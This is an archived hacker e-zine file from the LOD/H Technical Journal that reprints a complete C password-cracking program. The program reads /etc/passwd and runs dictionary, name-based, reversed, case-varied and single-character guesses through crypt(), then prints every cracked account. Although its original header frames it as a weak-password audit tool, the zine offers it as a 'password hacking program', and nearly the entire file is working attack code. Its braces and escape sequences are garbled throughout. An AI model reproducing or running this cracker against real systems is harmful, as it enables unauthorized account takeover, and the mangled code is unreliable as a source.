home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / a_m / lodhtj03.009 < prev    next >
Encoding:
Text File  |  2003-06-11  |  11.4 KB  |  527 lines

  1. The LOD/H Technical Journal, Issue #3: File 09 of 11
  2.  
  3. ----------------> UNIX Password Hacker: Courtesy of USENET <------------------
  4.  
  5.     The following is an extensive unix password hacking program taken off
  6. USENET awhile back. It resembles Shooting Sharks' HPW.C program in some ways
  7. but this program has more options. Read the REM statements to determine what
  8. options you wish to enable. If nothing else, this program can give those who
  9. wish to write a similar program an idea of how and what you want to put in it.
  10.  
  11.  
  12. - - - - - - - - - - - - - - - - - cut here - - - - - - - - - - - - - - - - - -
  13. -
  14.  
  15.  
  16. #include <stdio.h>
  17. #include <pwd.h>
  18. #include <ctype.h>
  19.  
  20. #define index strchr
  21. #ifndef lint
  22. static char *rcsid = "$Header: pwchkr.c,v 1.2 85/11/30 22:42:07 richl Exp $";
  23. #endif
  24.  
  25. /*
  26.  * Warning: this program burns a lot of cpu.
  27.  */
  28. /*
  29.  * pwchkr - find accounts with poor passwords
  30.     Date: Tue, 29 Nov 83 18:19:32 pst
  31.     From: leres%ucbarpa@Berkeley (Craig Leres)
  32.         Modified by Seth Alford, Roger Southwick, Steve Dum, and
  33.         Rick Lindsley for Tektronix
  34.  */
  35.  
  36. /*
  37.  *    $Log:    pwchkr.c,v $
  38.  *    Revision 1.2  85/11/30    22:42:07  richl
  39.  *    Added code to allow for password aging.
  40.  *
  41.  *    Revision 1.1  85/09/10    16:00:56  root
  42.  *    Initial revision
  43.  *
  44.  *
  45.  * By default, this program only checks for accounts with passwords the same
  46.  * as the login name. The following options add more extensive checking. (The
  47.  * tradeoff is cpu time -- with all options enabled it can run into the 100's
  48.  * of MINUTES.) Any argument that does not begin with a "-" is assumed to be
  49.  * a file name. (A single '-' means stdin.) If no file name is given,
  50.  * /etc/passwd is used.
  51.  *
  52.  * Options:
  53.  *
  54.  *        -v:    verbose -- list all guesses on stdout
  55.  *        -u:    output teh username on the line of the password file
  56.  *            currently being checked. If the program stops
  57.  *            abruptly you will then know how far it got.
  58.  *        -w file: use the list of words contained in "file" as likely
  59.  *            passwords. Words in the file are one to a line.
  60.  *        -b:    check all guesses backwards too
  61.  *        -g:    use the Full Name portion of the gecos field to
  62.  *            generate more guesses
  63.  *        -s:    check the single letters a-z, A-Z, 0-9 as passwords
  64.  *        -c:    with each guess, check for all-lowercase and
  65.  *            all-uppercase versions too.
  66.  *        -n:    complain about null passwords (default is to keep
  67. quiet)
  68.  */
  69.  
  70. int verbose = 0, singles = 0, backwards = 0, checkgecos = 0, checkcase = 0,
  71.     chknulls = 0, users = 0, chkwords = 0;
  72.  
  73. char *index(), *reverse();
  74. long atol();
  75. FILE *fopen();
  76. char *fgets();
  77.  
  78. char PASSWD[] = "/etc/passwd";
  79. char EMPTY[] = "";
  80. static FILE *pwf = NULL, *wlf = NULL;
  81. char line[BUFSIZ+1];
  82. struct passwd passwd;
  83. char    *Curpw, *Wordlist = NULL;
  84.  
  85. main(argc, argv)
  86. char **argv;
  87. $
  88.     register int i;
  89.     register char *arg;
  90.     int onedone = 0;
  91.  
  92.  
  93.     for (i = 1; i < argc; i++)
  94.     if ((arg = argv[i]) && *arg == '-')
  95.         while (*++arg) $
  96.         switch (*arg) $
  97.             case 'n':
  98.             /*
  99.              * complain about null passwords
  100.              */
  101.             chknulls++;
  102.             break;
  103.             case 'c':
  104.             /*
  105.              * check cases
  106.              */
  107.             checkcase++;
  108.             break;
  109.             case 'g':
  110.             /*
  111.              * use gecos
  112.              */
  113.             checkgecos++;
  114.             break;
  115.             case 'v':
  116.             /*
  117.              * turn on motormouth
  118.              */
  119.             verbose++;
  120.             break;
  121.             case 'b':
  122.             /*
  123.              * check all attempts forwards and backwards
  124.              */
  125.             backwards++;
  126.             break;
  127.             case 's':
  128.             /*
  129.              * carry out a more intensive search, checking for
  130.              * single letter passwords
  131.              */
  132.             singles++;
  133.             break;
  134.             case 'u':
  135.             /*
  136.              * print out users as testing
  137.              */
  138.             users++;
  139.             break;
  140.             case 'w':
  141.             /*
  142.              * consult word list of likely passwords
  143.              */
  144.             if ((Wordlist = argv[i+1]) == NULL) $
  145.                 fprintf(stderr,
  146.                 "%s: No file supplied with -w optionXn",
  147.                 argv[0]);
  148.                 exit (1);
  149.  
  150.             argv[i+1] = NULL;
  151.             break;
  152.             case 'X0':
  153.             /*
  154.              * read from stdin
  155.              */
  156.             break;
  157.             default:
  158.             fprintf(stderr,
  159.                 "%s: unknown option '%c'. Options are:Xn",argv[0],
  160.                 *arg);
  161.             /* FALL THRU */
  162.             case '-':
  163.             fprintf(stderr,"-v:XtXtverbose -- list all guesses on
  164. stdoutXn");
  165.             fprintf(stderr,"-u:XtXtoutput the username currently
  166. being checkedXn");
  167.             fprintf(stderr,"-w file:Xtconsult the indicated file
  168. for words to check as passwordsXn");
  169.             fprintf(stderr,"-b:XtXtcheck all guesses forwards and
  170. backwardsXn");
  171.             fprintf(stderr,"-g:XtXtuse the Full name portion of the
  172. gecos field for more guessesXn");
  173.             fprintf(stderr,"-s:XtXtcheck the single letters a-z,
  174. A-Z, 0-9 as passwordsXn");
  175.             fprintf(stderr,"-c:XtXtcheck the all-upper and
  176. all-lower case version of each guessXn");
  177.             fprintf(stderr,"-n:XtXtcomplain about null
  178. passwordsXn");
  179.             exit(1);
  180.  
  181.         argv[i] = NULL;
  182.  
  183.  
  184.     for (i = 1; i < argc; i++) $
  185.     if (argv[i] == NULL) continue;
  186.     onedone++;
  187.     if (*(argv[i]) == '-') $
  188.         /*
  189.          * read from stdin; we'll cheat and set pwf directly
  190.          */
  191.         pwf = stdin;
  192.         chkpw();
  193.         /*
  194.          * don't fclose stdin!
  195.          */
  196.         clearerr(stdin);
  197.  
  198.     else $
  199.         if (setpwent(argv[i])) $
  200.         perror(argv[i]);
  201.         continue;
  202.  
  203.         Curpw = argv[i];
  204.         chkpw();
  205.         endpwent();
  206.  
  207.  
  208.     if (!onedone) $
  209.     Curpw = NULL;
  210.     chkpw();
  211.  
  212.     exit(0);
  213.  
  214.  
  215. #define ARB_CONST    30000
  216.  
  217. chkpw()
  218.  
  219. $
  220.     register char    *cp, *cp2;
  221.     register struct passwd *pwd;
  222.     struct passwd    *getpwent();
  223.     char        guess[100];
  224.     char        *wordarray[ARB_CONST];
  225.     char        *malloc(), **wordptr, **endptr;
  226.     int         done = 0;
  227.  
  228.  
  229.     if (Wordlist)
  230.     $
  231.     if ((wlf = fopen(Wordlist,"r")) == NULL)
  232.     $
  233.         perror(Wordlist);
  234.         exit(1);
  235.  
  236.  
  237.     wordptr = wordarray;
  238.     /*
  239.      * note that endptr points to space OUTSIDE of wordarray
  240.      */
  241.     endptr = wordarray + (sizeof(wordarray)/sizeof(char *));
  242.  
  243.     while (fscanf(wlf,"%[^Xn]Xn",guess) != EOF)
  244.     $
  245.         if (wordptr == endptr)
  246.         $
  247.         fprintf(stderr,"Ran out of wordlist space. ARB_CONST %d must be
  248. too small.Xn", ARB_CONST);
  249.         exit(1);
  250.  
  251.         if ((*wordptr = malloc(1+strlen(guess))) == NULL)
  252.         $
  253.         fprintf(stderr,"malloc: no more memory for wordlistXn");
  254.         exit (1);
  255.  
  256.         strcpy(*wordptr,guess);
  257.         wordptr++;
  258.  
  259.     *wordptr = NULL;
  260.  
  261.  
  262.     while ((pwd = getpwent()) != 0 ) $
  263.  
  264.     if (verbose || users) $
  265.         if (Curpw == NULL)
  266.         printf("Xt%s X"%sX"Xn", pwd->pw_name, pwd->pw_gecos);
  267.         else
  268.         printf("%s -- Xt%s X"%sX"Xn", Curpw, pwd->pw_name,
  269.             pwd->pw_gecos);
  270.         fflush(stdout);
  271.  
  272.     if (*pwd->pw_passwd == 'X0') $
  273.         if (chknulls) $
  274.         if (Curpw == NULL)
  275.             printf("Problem: null passwd:Xt%sXtshell: %sXn",
  276.             pwd->pw_name, pwd->pw_shell);
  277.         else
  278.             printf("%s -- Problem: null passwd:Xt%sXtshell: %sXn",
  279.             Curpw, pwd->pw_name, pwd->pw_shell);
  280.         fflush(stdout);
  281.  
  282.         continue;
  283.  
  284.     /*
  285.      * Try the user's login name
  286.      */
  287.     if (uandltry(pwd,pwd->pw_name))
  288.         continue;
  289.  
  290.     /*
  291.      * Try names from the gecos field
  292.      */
  293.     if (checkgecos) $
  294.         strcpy(guess, pwd->pw_gecos);
  295.         cp = guess;
  296.         if (*cp == '-') cp++;               /* special gecos field */
  297.         if ((cp2 = index(cp, ';')) != NULL)
  298.         *cp2 = 'X0';
  299.  
  300.         for (;;) $
  301.         if ((cp2 = index(cp, ' ')) == NULL) $
  302.             if (uandltry(pwd,cp))
  303.             done++;
  304.             break;
  305.  
  306.  
  307.         *cp2 = 'X0';
  308.  
  309.         if (uandltry(pwd,cp)) $
  310.             done++;
  311.             break;
  312.  
  313.         cp = ++cp2;
  314.  
  315.  
  316.     if (!done && Wordlist)
  317.     $
  318.         /*
  319.          * try the words in the wordlist
  320.          */
  321.         wordptr = wordarray;
  322.         while (endptr != wordptr)
  323.         $
  324.         if (*wordptr == NULL)
  325.             break;
  326.         if (uandltry(pwd,*wordptr++))
  327.         $
  328.             done++;
  329.             break;
  330.  
  331.  
  332.     if (!done && singles) $
  333.         /*
  334.          * Try all single letters
  335.          * (try digits too .  --Seth)
  336.          */
  337.         guess[1] = 'X0';
  338.         for (guess[0]='a'; guess[0] <= 'z'; guess[0]++)
  339.         if (try(pwd,guess))
  340.             break;
  341.         for (guess[0]='A'; guess[0] <= 'Z'; guess[0]++)
  342.         if (try(pwd,guess))
  343.             break;
  344.         for (guess[0]='0'; guess[0] <= '9'; guess[0]++)
  345.         if (try(pwd,guess))
  346.             break;
  347.  
  348.  
  349. /*
  350.  * Stands for "upper and lower" try.  Calls the "real" try, below,
  351.  * with the supplied version of the password, and with
  352.  * an upper and lowercase version of the password. If the user doesn't
  353.  * want to try upper and lower case then we just return after the one
  354.  * check.
  355. */
  356.  
  357. uandltry (pwd,guess)
  358. char *guess;
  359. struct passwd *pwd;
  360. $
  361.     register char *cp;
  362.     char buf[100];
  363.     int alllower, allupper;
  364.  
  365.     alllower = allupper = 1;
  366.  
  367.     if (try(pwd,guess) || (backwards && try(pwd,reverse(guess)))) return (1);
  368.  
  369.     if (!checkcase) return(0);
  370.  
  371.     strcpy (buf, guess);
  372.     cp = buf-1;
  373.     while (*++cp) $
  374.     if (isupper(*cp))
  375.         alllower = 0;
  376.     if (islower(*cp))
  377.         allupper = 0;
  378.  
  379.  
  380.     if (!allupper) $
  381.     for ( cp=buf; *cp != 'X0'; cp++)
  382.         if (islower (*cp))
  383.         *cp += 'A' - 'a';
  384.  
  385.     if (try(pwd,buf) || (backwards && try(pwd,reverse(buf)))) return (1);
  386.  
  387.  
  388.     if (!alllower) $
  389.     for ( cp = buf; *cp != 'X0'; cp++)
  390.         if (isupper (*cp))
  391.         *cp += 'a' - 'A';
  392.  
  393.     if (try(pwd,buf) || (backwards && try(pwd,reverse(buf)))) return (1);
  394.  
  395.     return (0);
  396.  
  397.  
  398. try(pwd,guess)
  399. char *guess;
  400. register struct passwd *pwd;
  401. $
  402.     register char  *cp;
  403.     char   *crypt ();
  404.  
  405.     if (verbose) $
  406.     if (Curpw == NULL)
  407.         printf ("Trying X"%sX" on %sXn", guess, pwd -> pw_name);
  408.     else
  409.         printf ("%s -- Trying X"%sX" on %sXn", Curpw, guess,
  410.         pwd -> pw_name);
  411.     fflush (stdout);
  412.  
  413.     if (! guess || ! *guess) return(0);
  414.     cp = crypt (guess, pwd -> pw_passwd);
  415.     if (strcmp (cp, pwd -> pw_passwd))
  416.     return (0);
  417.     if (Curpw == NULL)
  418.         printf ("Problem: Guessed:Xt%sXtshell: %s passwd: %sXn",
  419.         pwd -> pw_name, pwd -> pw_shell, guess);
  420.     else
  421.         printf ("%s -- Problem: Guessed:Xt%sXtshell: %s passwd: %sXn",
  422.         Curpw, pwd -> pw_name, pwd -> pw_shell, guess);
  423.     fflush (stdout);
  424.     return (1);
  425.  
  426. /* end of PW guessing program */
  427.  
  428. #define MAXUID 0x7fff    /* added by tonyb 12/29/83 */
  429.             /* altered to a reasonable number - mae 8/20/84 */
  430.  
  431. /*
  432.  * Add a parameter to "setpwent" so I can override the file name.
  433.  */
  434.  
  435. setpwent(file)
  436. char *file;
  437. $
  438.     if ((pwf = fopen(file,"r")) == NULL)
  439.         return(1);
  440.     return(0);
  441.  
  442.  
  443. endpwent()
  444.  
  445. $
  446.     fclose(pwf);
  447.     pwf = NULL;
  448.  
  449.  
  450. char *
  451. pwskip(p)
  452. register char *p;
  453. $
  454.     while(*p && *p != ':' && *p != 'Xn')
  455.         ++p;
  456.     if(*p == 'Xn')
  457.         *p = 'X0';
  458.     else if(*p)
  459.         *p++ = 'X0';
  460.     return(p);
  461.  
  462.  
  463. struct passwd *
  464. getpwent()
  465. $
  466.     register char *p;
  467.     long    x;
  468.  
  469.     if(pwf == NULL)
  470.         if (setpwent(PASSWD)) $
  471.         perror(PASSWD);
  472.         return(NULL);
  473.  
  474.     p = fgets(line, BUFSIZ, pwf);
  475.     if(p == NULL)
  476.         return(0);
  477.     passwd.pw_name = p;
  478.     p = pwskip(p);
  479.     passwd.pw_passwd = p;
  480.     p = pwskip(p);
  481.     x = atol(p);
  482.     passwd.pw_uid = (x < 0 || x > MAXUID)? (MAXUID+1): x;
  483.     p = pwskip(p);
  484.     x = atol(p);
  485.     passwd.pw_gid = (x < 0 || x > MAXUID)? (MAXUID+1): x;
  486.     passwd.pw_comment = EMPTY;
  487.     p = pwskip(p);
  488.     passwd.pw_gecos = p;
  489.     p = pwskip(p);
  490.     passwd.pw_dir = p;
  491.     p = pwskip(p);
  492.     passwd.pw_shell = p;
  493.     (void) pwskip(p);
  494.  
  495.     p = passwd.pw_passwd;
  496. /*    while(*p && *p != ',')
  497.         p++;
  498.     if(*p)
  499.         *p++ = 'X0';
  500.     passwd.pw_age = p;
  501. */
  502.     return(&passwd);
  503.  
  504.  
  505. /*
  506.  * reverse a string
  507.  */
  508. char *reverse(str)
  509. char *str;
  510.  
  511. $
  512.     register char *ptr;
  513.     register int len;
  514.     char    *malloc();
  515.  
  516.     if ((ptr = malloc((len = strlen(str))+1)) == NULL)
  517.     return(NULL);
  518.     ptr += len;
  519.     *ptr = 'X0';
  520.     while (*str && (*--ptr = *str++))
  521.     ;
  522.     return(ptr);
  523.  
  524.  
  525. - - - - - - - - - - - - - - - - - cut here - - - - - - - - - - - - - - - - - -
  526. -
  527.